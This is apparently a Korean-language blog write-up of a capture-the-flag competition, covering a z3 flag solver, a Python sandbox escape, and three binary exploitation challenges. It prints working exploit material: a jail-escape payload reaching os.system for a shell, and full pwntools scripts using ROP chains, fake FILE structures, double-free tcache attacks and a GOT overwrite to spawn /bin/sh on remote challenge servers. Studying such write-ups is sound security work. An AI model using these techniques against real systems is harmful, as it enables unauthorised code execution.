s1.add((s[50] - 33) <= 0x5D)
s1.add((s[51] - 33) <= 0x5D)
s1.add((s[52] - 33) <= 0x5D)
s1.add((s[53] - 33) <= 0x5D)
s1.add(s[2] == 112)
s1.add(s[1] == 111)
s1.add((s[54] - 33) <= 0x5D)
s1.add(s[0] == 104)
s1.add(s[3] == 101)
s1.add((s[44] ^ s[19]) == 3)
s1.add((s[49] ^ s[52]) == 7)
s1.add(s[5] <= s[28])
s1.add((s[43] ^ s[7]) == 13)
s1.add(s[17] + s[13] == 212)
s1.add(s[32] - s[40] == 66)
s1.add(s[18] != 104)
s1.add((s[25] ^ s[6]) == 3)
s1.add((s[46] ^ s[29]) == 91)
s1.add(s[20] != s[39])
s1.add((s[21] ^ s[24]) == 11)
s1.add(s[36] == 103)
s1.add(s[51] != 111)
s1.add(s[37] + s[9] == 199)
s1.add(s[35] - s[15] == 15)
s1.add((s[48] ^ s[4]) == 79)
s1.add(s[10] >= s[23])
s1.add(s[38] >= s[53])
s1.add(s[22] <= s[54])
s1.add(s[50] + s[30] == 146)
s1.add(s[26] - s[16] == 19)
s1.add(s[11] >= s[42])
s1.add(s[14] != s[27])
s1.add(s[8] == 103)
s1.add(s[41] + s[12] == 205)
s1.add(s[31] - s[47] == 21)
s1.add(s[34] >= s[45])
s1.add(s[33] - s[12] == 19)
s1.add((s[42] ^ s[10]) == 68)
s1.add(s[43] + s[27] == 195)
s1.add(s[22] != s[54])
s1.add((s[48] ^ s[25]) == 91)
s1.add(s[23] + s[4] == 218)
s1.add(s[37] != 112)
s1.add(s[44] + s[52] == 149)
s1.add(s[11] == 95)
s1.add(s[14] == 116)
s1.add(s[19] != 103)
s1.add(s[16] + s[32] == 222)
s1.add(s[38] == 101)
s1.add(s[5] != s[34])
s1.add(s[9] != s[50])
s1.add(s[18] + s[24] == 218)
s1.add(s[46] >= s[53])
s1.add(s[6] - s[15] == 13)
s1.add(s[49] <= 0x6F)
s1.add(s[35] != s[51])
s1.add((s[45] ^ s[41]) == 86)
s1.add(s[7] >= s[40])
s1.add(s[17] + s[47] == 202)
s1.add(s[33] + s[13] == 233)
s1.add(s[5] <= s[9])
s1.add(s[21] >= s[42])
s1.add(s[20] != s[21])
s1.add(s[29] - s[28] == 4)
s1.add(s[26] != s[30])
s1.add(s[31] >= s[39])
s1.add(s[4] != s[22])
s1.add(s[19] <= s[32])
s1.add(s[23] + s[43] == 195)
s1.add(s[30] == 95)
s1.add(s[39] == 49)
s1.add(s[53] == 54)
s1.add(s[28] != s[40])
s1.add(s[33] != s[45])
s1.add(s[44] <= s[47])
s1.add((s[48] ^ s[17]) == 81)
s1.add(s[50] <= s[51])
s1.add(s[26] <= s[31])
s1.add(s[15] >= s[37])
s1.add(s[41] + s[16] == 202)
s1.add(s[13] != s[54])
s1.add(s[12] <= s[29])
s1.add((s[52] ^ s[25]) == 92)
s1.add(s[7] <= s[10])
s1.add((s[49] ^ s[24]) == 90)
s1.add(s[35] + s[27] == 205)
s1.add(s[34] == 105)
s1.add((s[20] ^ s[6]) == 21)
s1.add(s[46] == 54)
s1.add(s[18] != s[29])
s1.add(s[18] + s[50] == 159)
s1.add(s[23] != 103)
s1.add(s[45] != 54)
s1.add(s[37] + s[26] == 214)
s1.add(s[32] != s[48])
s1.add(s[7] <= s[31])
s1.add((s[28] ^ s[19]) == 8)
s1.add(s[16] >= s[51])
s1.add(s[10] != s[13])
s1.add(s[4] - s[15] == 28)
s1.add(s[9] - s[12] == 1)
s1.add(s[17] <= s[25])
s1.add(s[33] - s[22] == 22)
s1.add(s[20] - s[42] == 73)
s1.add(s[44] != 105)
s1.add(s[5] != 101)
s1.add((s[54] ^ s[24]) == 19)
s1.add(s[21] != s[49])
s1.add(s[40] > 0x30)
s1.add(s[27] == 95)
s1.add(s[52] == 51)
s1.add(s[47] + s[35] == 211)
s1.add(s[41] == 102)
s1.add(s[43] >= s[53])
s1.add(s[6] == 108)
s1.add(s[17] - s[40] == 45)
s1.add(s[7] + s[13] == 216)
s1.add(s[12] == 103)
s1.add(s[28] > 0x66)
s1.add(s[10] + s[50] == 167)
s1.add(s[19] >= s[45])
s1.add(s[26] == 119)
s1.add((s[44] ^ s[24]) == 12)
s1.add(s[32] != s[51])
s1.add(s[9] != s[49])
s1.add(s[42] == 48)
s1.add(s[25] == 111)
s1.add(s[23] != s[47])
s1.add(s[22] == 100)
s1.add(s[31] == 122)
s1.add(s[54] - s[4] == 2)
s1.add(s[16] == 100)
s1.add(s[37] == 95)
s1.add(s[20] == 121)
s1.add(s[15] >= s[48])
s1.add((s[21] ^ s[33]) == 31)
s1.add(s[7] == 105)
s1.add(s[29] == 109)
s1.add(s[18] - s[5] == 6)
s1.add(s[35] != 51)
s1.add(s[43] == 100)
s1.add(s[23] == 95)
s1.add(s[33] != 100)
s1.add(s[18] == 108)
s1.add(s[28] > 0x68)
s1.add(s[49] > 0x32)
s1.add(s[13] == 111)
s1.add(s[4] >= s[50])
s1.add(s[24] + s[32] == 232)
s1.add(s[45] != 116)
s1.add(s[5] == 102)
s1.add(s[53] <= 0x79)
s1.add(s[48] <= 0x7A)
s1.add(s[35] != 102)
s1.add((s[54] ^ s[40]) == 69)
s1.add(s[37] == 95)
s1.add(s[21] > 0x30)
s1.add(s[19] == 97)
s1.add(s[44] == 98)
s1.add(s[51] + s[10] == 170)
s1.add(s[15] <= 0x6F)
s1.add(s[17] == 101)
s1.add(s[47] == 101)
s1.add(s[47] + s[9] == 205)
s1.add(s[18] != 101)
s1.add(s[51] == 54)
s1.add(s[35] == 110)
s1.add(s[4] - s[10] == 7)
s1.add(s[21] == 101)
s1.add((s[40] ^ s[33]) == 66)
s1.add(s[50] == 51)
s1.add(s[54] > 0x6E)
s1.add(s[48] == 52)
s1.add(s[9] == 104)
s1.add(s[10] == 116)
s1.add(s[45] == 48)
s1.add(s[32] == 122)
s1.add(s[53] > 0x35)
s1.add(s[4] >= s[18])
s1.add((s[24] - 101) <= 0x14)
s1.add(s[15] == 95)
s1.add(s[54] == 125)
s1.add(s[28] >= s[40])
s1.add(s[33] > 0x61)
s1.add(s[54] != 122)
s1.add(s[49] == 52)
s1.add(s[40] == 56)
s1.add(s[48] == 52)
s1.add(s[28] == 105)
s1.add(s[18] == 108)
s1.add(s[49] == 52)
s1.add(s[4] == 123)

if s1.check() == sat:
    res = s1.model()
    for i in range(len(res)):
        print(chr(int(str(res[s[i]]))), end='')

 

이렇게 코드를 짜고 실행하면

 

 

매우 잘 구해진다.

 

 

misc/bonk

 

 

#!/usr/bin/env python3
import string
code = input("Welcome to python! Enter your code: ")
allowed = set(string.ascii_lowercase+'()[]._'+string.digits)
if allowed | set(code) != allowed:
    raise Exception("bonk go to python jail")
compile(code, "", "eval")
print(code)
eval(code[0:-1:2], {"__builtins__": None})

 

pyjail문제이다. 이 문제는 몇시간씩 삽질해서 거의 다 풀었을 시점에 다른 팀원분이 먼저 푸셔서 뭔가 뺏긴 기분이다. ㅎㅎ 근데 진짜 삽질 많이했고 배워가는것도 많은 문제라서 삽질 과정을 적어보려고 한다.

 

일단 __builtins__객체를 None으로 주고 eval을 실행하고 있으니까 print같은 내장 함수들은 안먹힌다. pyjail할때 가장 애용하는 객체를 없애버리니까 조금 막막해서 pyjail CTF write up들을 찾아봤다.

 

https://ctftime.org/writeup/21745

 

CTFtime.org / redpwnCTF 2020 / albatross / Writeup

# Albatross This was a pyjail golf challenge. We are given the following source code: ```python #!/usr/bin/env python3.7 from rctf import golf import string, os # NOTE: Although this challenge may seem impossible, rest assured that we have # a working solu

ctftime.org

 

열심히 write up을 찾아보다가 redpwnCTF 2020에 나왔던 pyjail문제의 write up을 찾았다. 보니까 따옴표 입력 못해서 문자열 못만들고 eval할때 __builtins__객체 None으로 주고 실행하고.. 이 문제랑 상황이 매우 유사하다. 저기서 실마리를 찾았다.

 

().__class__.__base__.__subclasses__()[idx].__init__.__globals__["system"]

 

이런 식으로 __builtins__객체 없이도 system함수에 접근할 수 있다. SSTI할때 많이 본 Payload이다. 여기서 문제는 문자열을 사용하지 못한다는 것이다. 위 write up에서는 이부분을

 

[*().__class__.__base__.__subclasses__()[idx].__init__.__globals__.values()][idx1]

 

이런식으로 list로 만든 후에 숫자 인덱스로 system함수에 접근하는데 문제는 *도 사용을 못한다는 것이다. list함수를 불러도 되긴 하는데 __builtins__객체가 None이라 내장함수를 못부른다.

 

근데 내장함수를 그냥 못부르는거지 __subclasses__를 이용한다면 아예 못부르는건 아니다.

 

().__class__.__mro__[1].__subclasses__()[idx](().__class__.__mro__[1].__subclasses__()[idx1].__init__.__globals__.values())[idx2]

 

이렇게 list함수를 불러줘서 values()를 한 결과를 list로 만들어주면 *를 안쓰고도 숫자 인덱스로 system함수에 접근할 수 있다. 근데 이제 문제는 찾아야할 인덱스가 총 3개이다. list함수가 있는 인덱스는 로컬과 서버 모두 7로 동일했고

<class 'os._wrap_close'>가 있는 인덱스를 찾아야 하는데 조금 꼼수를 이용했다.

 

 

이렇게 함수가 아닌걸 호출하려하면 왜 에러가 났는지 자세하게 출력되는걸 이용해서 출력 결과물이 같은걸 찾아봤다. 먼저 로컬에서는 <class 'os._wrap_close'>가 있는 인덱스가 132번이었는데 132번에서 출력되는 에러는 'stream' and 'proc'이 없다는 내용이다. 따라서 저 에러를 찾으면 될듯했다. 서버에서 132번을 넣어봤는데 Can't instantiate abstract class Callable with abstract methods __call__이 뜨는것이다. 근데 저 에러는 로컬에서 131번 넣었을때 뜨니까 설마 하고 서버에 133번 넣어봤는데 'stream' and 'proc'이 없다는 에러가 출력되었다. 로컬이랑 서버 인덱스가 크게 다르지 않아서 운빨로 찾아냈는데 만약에 인덱스가 크게 달랐다면 에러메시지 출력되는걸로 python script짜서 brute force돌릴 생각이었다. 암튼 2번째 인덱스까지 찾았으니까 이제 마지막 인덱스만 찾으면 된다.

 

 

마지막 인덱스도 위랑 비슷한 방법으로 그냥 함수에 인자 하나도 안넣고 호출하면 무슨 함수에서 에러난건지 출력해주니까 이 메시지 보면서 찾았다. 서버에선 46번 넣으니까 system함수에 인자가 없다는 에러가 출력되었다. 이거 역시 로컬이랑 가까운곳에 있어서 쉽게 인덱스를 찾을 수 있었던거고 잘 안찾아지면 python script짜서 brute force해볼 생각이었다.

 

이제 sh문자열만 만들면 되는데 위의 write up에서는

 

>>> ().__doc__
"Built-in immutable sequence.\n\nIf no argument is given, the constructor returns an empty tuple.\nIf iterable is specified the tuple is initialized from iterable's items.\n\nIf the argument is a tuple, the return value is the same object."
>>> ().__doc__.index('s')
19
>>> ().__doc__.index('h')
56
>>> ().__doc__[19:57:37]
'sh'

 

이렇게 __doc__속성 이용해서 문자열 슬라이싱해줘서 sh문자열을 만들어준다. __doc__속성으로 뽑아진 문자열은 대충 튜플에 대한 설명인것 같다. 근데 이 문제에서는 :도 사용을 못하니까 다른 방법을 찾아야 된다. 그래서 고민하던 중에

 

 

 

?????? 와 이걸 join이랑 split이랑 strip조져가지고 만들어버리네.. ㅎㄷㄷ 진짜 창의력 대단하시다.. 

 

 

진짜 된다... 캬...

 

().__class__.__mro__[1].__subclasses__()[7](().__class__.__mro__[1].__subclasses__()[132].__init__.__globals__.values())[45]([].__doc__[54].join([].__doc__).split([].__doc__[30])[20].split([].__doc__[85])[0].lstrip([].__doc__[54]))

 

그럼 최종적으로 페이로드는 이렇게 되고

 

 

셸이 잘 따인다. 이걸 이제 서버에 보내야 되니까 아까 구한 인덱스로 인덱스 수정해주면

 

().__class__.__mro__[1].__subclasses__()[7](().__class__.__mro__[1].__subclasses__()[133].__init__.__globals__.values())[46]([].__doc__[54].join([].__doc__).split([].__doc__[30])[20].split([].__doc__[85])[0].lstrip([].__doc__[54]))

 

이렇게 된다. 그런데 서버 소스코드 보면

 

#!/usr/bin/env python3
import string
code = input("Welcome to python! Enter your code: ")
allowed = set(string.ascii_lowercase+'()[]._'+string.digits)
if allowed | set(code) != allowed:
    raise Exception("bonk go to python jail")
compile(code, "", "eval")
print(code)
eval(code[0:-1:2], {"__builtins__": None})

 

eval할때 code[0:-1:2]해서 넘겨주니까 결과적으론 짝수번째 인덱스만 문자열로 합쳐진다.

 

그래서 페이로드를 좀더 가공해야 하는데 그냥 단순하게 같은 문자 두번씩 써주면 된다. 하지만 .이 있을경우에 .을 2번 쓰면 compile함수에서 Syntax error가 나니까 .일 경우에만 .a와 같이 써서 우회해준다. 예를 들어서 ().__class__일 경우에는 (()).a____ccllaassss____이런식으로 써주면 된다.

 

(()).a____ccllaassss____.a____mmrroo____[[11]].a____ssuubbccllaasssseess____(())[[77]](((()).a____ccllaassss____.a____mmrroo____[[11]].a____ssuubbccllaasssseess____(())[[113333]].a____iinniitt____.a____gglloobbaallss____.avvaalluueess(())))[[4466]](([[]].a____ddoocc____[[5544]].ajjooiinn(([[]].a____ddoocc____)).asspplliitt(([[]].a____ddoocc____[[3300]]))[[2200]].asspplliitt(([[]].a____ddoocc____[[8855]]))[[00]].allssttrriipp(([[]].a____ddoocc____[[5544]]))))

 

위와 같은 과정을 거쳐서 가공된 Full payload이다.

 

 

성공적으로 셸이 따인다. 진짜 레전드라고 생각되는 문제였다. __builtins__객체를 싹다 지워버려서 내장 함수를 사용 못할때 __subclasses__를 이용해서 접근해서 호출한다는 창의적인 아이디어도 배웠고 ().__doc__하면 나오는 해당 객체에 대한 설명이 담긴 문자열을 적절하게 지지고 볶고 해서 싱글쿼터와 더블쿼터를 못쓰는 상황에서도 원하는 문자열을 만들 수 있다는 것도 배웠다.

 

 

pwn/puppy

 

포너블은 자고 일어나니까 앞에 2문제가 풀려있길래 3번째 문제부터 5번째 문제까지 풀어서 올클했다.

 

 

끝이다. 진짜 이게 끝이다. pwnable.tw에 De-ASLR이랑 완전 똑같다. 출력함수 없이 gets하나만 있는 바이너리이다.

저번에 qwerty님이랑 sangjun님 HSpace에서 만났을때 나는 pwnable.tw De-ASLR 문제 풀었는데 그때 푼 방식이랑 똑같은 방식으로 익스했다.

 

일단 출력함수가 없어서 memory leak이 가장 문제인데 gets함수 호출되고 나면 스택에 stdin구조체 주소가 남는다. 따라서 Stack pivoting해서 rsp를 bss나 그 뒤쪽 여유 메모리로 돌리고 gets를 부르면 변조된 rsp쪽에 stdin구조체 주소가 남는다. 이렇게 남은 stdin구조체 주소를 그대로 csu가젯으로 넣어주면 된다.

 

 

좀 더 자세히 설명하자면 이 부분은 return to csu기법을 공부할때 많이 봤던 부분이다. 이 바이너리를 보면 r15레지스터에 함수 got를 넣고 r12, r13, r14레지스터에 각각 첫번째, 두번째, 세번째 인자를 넣으면 원하는 함수를 원하는 인자를 줘서 호출할 수 있다. 이걸 응용해서 메모리에 남은 stdin구조체 주소를 r15레지스터에 넣어주고 rbx레지스터에는 ((_IO_file_jumps+0x78) - (_IO_2_1_stdin_)) / 8의 값을 넣어준다. 그러면 _IO_file_jumps+0x78에 담긴 주소를 호출하게 될것이다. 왜 _IO_file_jumps+0x78이냐하면

 

 

_IO_file_jumps구조체의 16번째에 _IO_new_file_write함수가 있다. 흔히 vtable이라고 부르는 구조체이다. 16번째니까 _IO_file_jumps+(15*8)이 될거고 _IO_file_jumps+0x78이 _IO_new_file_write함수를 담고 있는 주소가 되는것이다.

 

 

이 함수를 호출해서 libc leak을 할 수 있다.

 

ssize_t _IO_new_file_write (FILE *f, const void *data, ssize_t n)

 

함수 원형은 이러한데 우리가 rsp를 bss뒤쪽 공간으로 돌렸으니까 대충 거기다가 fake iofile struct만들어둔 다음에 두번째 인자로 릭할 gets got 주고 3번째 인자로 size주면 된다. 두번째 인자로 주소만 줘도 릭이 되겠지만 안전빵으로 fake iofile struct만들때 _IO_write_base도 gets got로 세팅해줬다. _IO_write_end였나 얘는 gets got+1024로 세팅했다.

 

이게 pwnable.tw De-ASLR풀때 이 아이디어 떠올리고 속으로 "내가 생각했지만 진짜 창의적이다.." 이렇게 생각하면서 좋아했던 그 아이디어이다. 아무튼 똑같은 아이디어로 이 문제도 슥삭 풀어줬다.

 

from pwn import *

#r = process(["./puppy"], env={"LD_PRELOAD":"./libc.so"})
r = remote("mc.ax", 31819)
#r = remote("chall.pwnable.tw", 10402)
#libc = ELF("./deaslr").libc
libc = ELF("./libc.so")

prdi = 0x4011c3
prbp = 0x40111d
ppppppr = 0x4011B6
prsppppr = 0x4011bd
leave_ret = 0x401158
call_csu = 0x4011A0
gets_plt = 0x401044
main = 0x401136

fakestdout = p64(0xfbad0000 | 0x800)
fakestdout += p64(0) # _IO_read_ptr
fakestdout += p64(0x404018) # _IO_read_end
fakestdout += p64(0) # _IO_read_base
fakestdout += p64(0x404018) # _IO_write_base
fakestdout += p64(0x404018 + 1024) # _IO_write_ptr
fakestdout += p64(0)*8
fakestdout += p64(1)

fakeio = 0x404210
buf1 = 0x404050
buf2 = 0x404550


r.sendline(b"a"*0x10+p64(0x404100)+p64(prdi)+p64(0x404108)+p64(gets_plt)+p64(leave_ret))
sleep(0.1)
r.sendline(p64(prdi)+p64(0x404210)+p64(gets_plt)+p64(prdi)+p64(buf2)+p64(gets_plt)+p64(prsppppr)+p64(buf2-0x18))
sleep(0.1)
r.sendline(fakestdout)
sleep(0.1)
r.sendline(p64(prdi)+p64(0x404090)+p64(gets_plt)+p64(prdi)+p64(0x4040a8)+p64(gets_plt)+p64(prdi)+p64(0x4040d8)+p64(gets_plt)+p64(prsppppr)+p64(0x404078))
sleep(0.1)
r.sendline(p64(prdi+1)+p64(ppppppr)+p64(0xfffffffffffff97b)+b"\x00"*7)
sleep(0.1)
r.sendline(p64(0xfffffffffffff97b)+p64(0xfffffffffffff97b+1)+p64(fakeio)+p64(0x404018)+b"\x08"+b"\x00"*6)
sleep(0.1)
r.sendline(p64(call_csu)+p64(0)*7+p64(main))

libc_leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = libc_leak - libc.sym["gets"]
execve = libc_base + libc.sym["execve"]
binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0]
prsi = libc_base + 0x2be51
prdx = libc_base + 0x90529
print("[+] libc base : "+hex(libc_base))

r.sendline(b"a"*0x18+p64(prdi)+p64(binsh)+p64(prsi)+p64(0)+p64(prdx)+p64(0)*2+p64(execve))

r.interactive()

 

 

 

pwn/catastrophe

 

 

 

심플한 힙 문제이다.

 

 

할당

 

 

해제

 

 

데이터 보기 이다. 취약점도 간단하다. free하고 청크 주소 안지워줘서 UAF랑 DFB둘다 터진다.

 

FROM pwn.red/jail:0.3.0

COPY --from=ubuntu@sha256:bace9fb0d5923a675c894d5c815da75ffe35e24970166a48a4460a48ae6e0d19 / /srv
COPY catastrophe /srv/app/run
COPY flag.txt /srv/app/

 

문제는 Dockerfile을 이거 주는데 빌드해서 libc꺼내보니까 libc가 2.35라는 것이다. 하지만 전혀 문제될게 없다. libc leak은 0x200크기 청크 8번 해제하면 unsorted bin에 들어가니까 view기능에서 unsorted bin에 들어간 청크 인덱스 입력하면 libc leak된다. 그리고 이제 DFB이용해서 aaw해줘야하는데 tcache꽉채우고 fastbin에서 DFB일으킨다음 다시 tcache에 있는거 다 할당해주고 나서 tcache가 비어있을때 fastbin이나 smallbin에서 청크 할당하면 그 뒤에 청크가 tcache로 들어가게 되는데 이거 이용한 기법인 tcache stashing unlink attack하면 tcache에서 DFB난것과 같은 효과를 볼 수 있다.

 

glibc2.32부터 safe linking과정이 추가되었는데 fd에 addr ^ (heap_base >> 12)해서 들어간다. unsorted bin에는 적용이 안되므로 libc leak은 그냥 할 수 있는데 결국엔 fd를 덮으려면 heap base주소를 알아야 하고 힙주소 릭이 필요하다. fd를 읽더라도 addr ^ (heap_base >> 12)꼴로 들어간 주소가 릭이 되니까 고민이었는데 놀랍게도 이걸 복호화 하는 방법이 존재했다.

 

https://github.com/shellphish/how2heap/blob/master/glibc_2.32/decrypt_safe_linking.c

 

GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

A repository for learning various heap exploitation techniques. - GitHub - shellphish/how2heap: A repository for learning various heap exploitation techniques.

github.com

 

여기 decrypt함수 가져다 쓰니까 바로 된다.

 

저 decrypt함수는 인코딩된 주소가 힙주소일 경우에만 디코딩 할 수 있는건데 힙주소가 인코딩되는 경우에는 수학적으로 복호화가 가능했다. 하지만 heap base주소랑 1.5byte이상 멀어지면 미지수가 생기게 되면서 완전히 구하진 못한다.

 

0.5byte단위로 분해해서 보면 heap base = [a, b, c, d, e, f, g, h, i, j, k, l] 라고 두고 fd값은 대충 heap base랑 1.5byte가 다르다고 가정했을때 fd = [a, b, c, d, e, f, g, h, i, j', k', l']가 될텐데 fd ^ (heap base >> 12)꼴로 인코딩되니까 [0, 0, 0, a, b, c, d, e, f, g, h, i] ^ [a, b, c, d, e, f, g, h, i, j', k', l']이 되는데 상위 1.5byte가 0으로 되니까 0 ^ a, 0 ^ b, 0 ^ c가 되면서 a, b, c값을 알 수 있게 되고 앞에서부터 쭉 해보면

 

a^d : a값을 아니까 d값도 구할 수 있다.
b^e : 마찬가지로 b값도 아니까 e값도 구할 수 있다.
c^f : c값도 알아서 f도 구할 수 있다.
d^g : d값 구했으니까 g값도 구할 수 있다.
e^h : 마찬가지
f^i : 마찬가지

 

이렇게 된다. 이러면 heap base >> 12인 [0, 0, 0, a, b, c, d, e, f, g, h, i]에서 i까지 모두 구했으니까 남은 1.5byte를 정상적으로 복호화 할 수 있게 된다.

 

원리는 이런데 그냥 위에 github에 구현되어 있는 decrypt함수 가져다 쓰면 된다. 아무튼 이렇게 decrypt과정 거쳐서 fd가 가리키고 있는 진짜 힙청크 주소 알아내고 heap base를 leak할 수 있다. heap base를 leak한 후에는 safe linking은 전혀 문제되지 않는다. heap base릭하고 libc릭하고 tcache stashing unlink attack으로 tcache fd overwrite해서 aaw하면 된다.

 

또 문제되는게 있는데 glibc 2.32부턴가 malloc hook, free hook을 참조해서 호출하는 루틴을 없애버렸다. 따라서 hook말고 다른 곳을 찾아야 하는데

 

 

puts초반 루틴 보면 ABS어쩌고 함수의 plt를 부른다.

 

 

보면 libc got참조해서 jmp뛰는걸 알 수 있는데

 

 

strlen이다. 따라서 여기를 system으로 덮고 청크에 /bin/sh넣어두고 view하면 셸이 따일것이다.

 

이 부분은 제 3회 해킹하는 부엉이들 웹세미나에서 DFB터지고 view기능이 없는 바이너리에서 입력받을때 개행을 같이 입력받아서 대중적으로 쓰이는 main_arena주소를 부분덮기 해서 0.5byte brute force로 stdout으로 돌려서 leak하는 테크닉을 사용할 수 없을때 개행을 같이 입력받더라도 이 부분을 덮을 수 있고 결과적으로는 strlen의 리턴값을 매우 큰 값으로 줄 수 있어서 libc leak이 가능하다고 발표했던 부분인데 hook이 없는 glibc상위 버전에서 덮을 수 있는 곳으로 유용하게 쓰이는것 같다.

 

from pwn import *

#r = process(["./catastrophe"], env={"LD_PRELOAD":"./libc.so"})
libc = ELF("./libc.so")
r = remote("mc.ax", 31273)

def add(idx, size, data):
    r.sendline("1")
    r.sendline(str(idx))
    r.sendline(str(size))
    r.sendline(data)

def free(idx):
    r.sendline("2")
    r.sendline(str(idx))

def view(idx):
    r.sendline("3")
    r.sendline(str(idx))

def decrypt(cipher):
    key = 0
    plain = 0

    for i in range(1, 6):
        bits = 64-12*i
        if bits < 0:
            bits = 0
        plain = ((cipher ^ key) >> bits) << bits
        key = plain >> 12

    return plain

for i in range(9):
    add(i, 0x200, "Sechack")
for i in range(8, -1, -1):
    free(i)

view(0)

libc_leak = u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))
libc_base = libc_leak - 0x219ce0
strlen_got = libc_base + 0x219098
system = libc_base + libc.sym["system"]
print(hex(libc_base))
print(hex(strlen_got))

for i in range(9):
    add(i, 0x10, "Sechack")
for i in range(7):
    free(i)

free(7)
free(8)
free(7)

view(8)

heap_leak = decrypt(u64(r.recvuntil("\x55")[-6:].ljust(8, b"\x00")))
heap_base = heap_leak - 0x370
print(hex(heap_base))

for i in range(7):
    add(i, 0x10, "Sechack")

add(0, 0x10, p64((strlen_got-8) ^ (heap_base >> 12)))
add(0, 0x10, "Sechack")
add(1, 0x10, b"/bin/sh\x00")
add(0, 0x10, p64(0)+p64(system))
view(1)

r.interactive()

 

sendlineafter쓰면 서버에서 timeout걸어놓은거때문에 익스하다가 중간에 연결 끊겨서 그냥 sendline으로 한번에 입력 보내줬다.

 

 

strlen을 system으로 덮어서 그런지 리턴값이 엄청나게 커져서 puts가 호출될때마다 엄청난 양의 데이터가 출력된다. 아무튼 셸은 잘 따인다.

 

 

pwn/queue

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int num; // [rsp+0h] [rbp-10h]
  unsigned int v5; // [rsp+4h] [rbp-Ch]
  void *ptr; // [rsp+8h] [rbp-8h]
  char *ptra; // [rsp+8h] [rbp-8h]

  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  while ( 1 )
  {
    num = get_num(menu);
    v5 = get_num("idx? ");
    if ( v5 > 7 )
      break;
    if ( num > 5 )
    {
      if ( num == 69 )
      {
        if ( !*((_QWORD *)&qs + v5) )
          __assert_fail("qs[idx]", "queue.c", 0x7Au, "main");
        printf(
          "data: %p\nlength: %zu\nsize: %zu\ncmp: %p\n",
          **((const void ***)&qs + v5),
          *(_QWORD *)(*((_QWORD *)&qs + v5) + 8LL),
          *(_QWORD *)(*((_QWORD *)&qs + v5) + 16LL),
          *(const void **)(*((_QWORD *)&qs + v5) + 24LL));
      }
    }
    else if ( num > 0 )
    {
      switch ( num )
      {
        case 1:
          *((_QWORD *)&qs + v5) = queue_create(&strcmp);
          break;
        case 2:
          if ( !*((_QWORD *)&qs + v5) )
            __assert_fail("qs[idx]", "queue.c", 0x65u, "main");
          queue_free(*((_QWORD *)&qs + v5));
          *((_QWORD *)&qs + v5) = 0LL;
          break;
        case 3:
          if ( !*((_QWORD *)&qs + v5) )
            __assert_fail("qs[idx]", "queue.c", 0x6Au, "main");
          ptr = (void *)get_string("content? ");
          if ( !ptr )
            __assert_fail("item", "queue.c", 0x6Cu, "main");
          queue_push(*((_QWORD *)&qs + v5), ptr);
          break;
        case 4:
          if ( !*((_QWORD *)&qs + v5) )
            __assert_fail("qs[idx]", "queue.c", 0x70u, "main");
          ptra = (char *)queue_pop(*((_QWORD *)&qs + v5));
          printf("item: %s\n", ptra);
          free(ptra);
          break;
        case 5:
          if ( !*((_QWORD *)&qs + v5) )
            __assert_fail("qs[idx]", "queue.c", 0x76u, "main");
          queue_compact(*((_QWORD *)&qs + v5));
          break;
        default:
          break;
      }
    }
    fputc(10, stdout);
  }
  __assert_fail("idx < NUM_QUEUES", "queue.c", 0x5Fu, "main");
}

 

main함수이다. 진짜 이름 그대로 queue를 구현한 바이너리이다. 메뉴 번호를 69로 주면 strcmp함수 주소랑 현재 큐의 size, 큐의 최대 길이인 length, 실제로 데이터가 들어가는 큐(힙 청크)의 주소를 준다. strcmp주소를 그냥 주기때문에 memory leak은 고민할 필요 없고 aaw만 찾으면 된다.

 

 

queue_create함수이다. 새로운 큐를 만드는 함수이다.

 

 

queue_free함수이다. 큐랑 큐의 정보를 저장하는 힙 청크를 해제한다.

 

 

queue_push함수이다. size와 length가 같을 경우에는 length에 2를 곱해주고 곱한 값으로 realloc을 해준다. 그리고 나서 data push를 수행하는데 for문 도는거 잘 보면 큐에 데이터를 넣을때 내림차순으로 넣어준다. Priority Queue자료구조이다.

 

 

push되는 data는 위의 get_string함수에서 strdup으로 할당된 청크 주소이다. 해당 청크 주소를 큐에 넣고 size에 1을 더해준다.

 

 

queue_pop함수이다. 가장 뒤에 있는 데이터 주소를 반환해주는데 가장 뒤에는 가장 작은 값이 있을것이다. 따라서 가장 작은 값부터 오름차순으로 pop되게 된다. 그리고 size에서 1을 빼준다. main함수 보면 알겠지만 이 함수가 호출된 뒤에는 저 반환된 주소가 free된다.

 

 

queue_compact함수이다. 현재 큐의 size에 딱 맞게끔 큐를 축소해주는 역할을 한다.

 

 

분석한 내용은 여기까지다. 이 문제는 취약점 찾는게 굉장히 오래걸렸는데 너무 memory corruption위주로 취약점을 찾으려 해서 로지컬 버그를 발견하는데 너무 오래걸렸다. ㅋㅋ;;

 

 

 

C4C디코방에서 하소연하는 짤.png

 

 

아무튼 다시 본론으로 돌아와서 취약점이 어떻게 터지냐면 큐를 할당하자마자 queue_compact를 호출하면 size는 0이니까 realloc의 2번째 인자로 0이 들어가게 되고 length와 size모두 0이 되고 현재 큐는 free되게 되고 realloc함수가 0을 반환하니까 큐 주소는 0이 된다.

 

이상태에서 queue_push함수를 부르면

 

 

length와 size모두 0이니까 if문에 걸리게 되고 0*2 = 0이니까 realloc의 인자로 첫번째, 두번째 모두 0이 전달된다. 이럴 경우에는 realloc은 0x20크기의 청크를 새로 할당받아서 반환해준다. 따라서 0x20짜리 청크가 새로운 큐가 되는것이다. 근데 length가 0인 상태로 if문이 끝나버리고 push를 하면서 size는 1이 되게 된다. 그리고 또 queue_push를 호출하면..? length는 0인데 size는 1이니까 둘이 달라서 if문은 호출되지 않는다. 그리고 데이터가 또 push되서 size는 2가 된다. 이걸 반복하면..? length와 size가 같을일은 pop을 하지 않는이상 절대 없어서 if문은 절대 호출되지 않는다. 이말은 즉 큐가 꽉차도 더 큰 큐를 할당하는 과정인 realloc을 해주지 않아서 다른 청크를 침범해서 push를 하게 된다. heap overflow가 발생하는 것이다.

 

만약에 더 높은 주소에 있는 청크가 해제되어 있는 상황이라면 위와 같은 heap overflow로 fd를 덮을 수 있을 것이다. strdup으로 할당된 청크가 push되는거니까 content에 free hook주소를 입력한 뒤에 push를 엄청나게 해서 이미 해제되어있는 청크의 fd를 덮게 된다면 free chunk -> strdup chunk -> free hook이렇게 tcache bin의 연결리스트가 바뀌게 되고 결과적으론 aaw를 할 수 있게 된다.

 

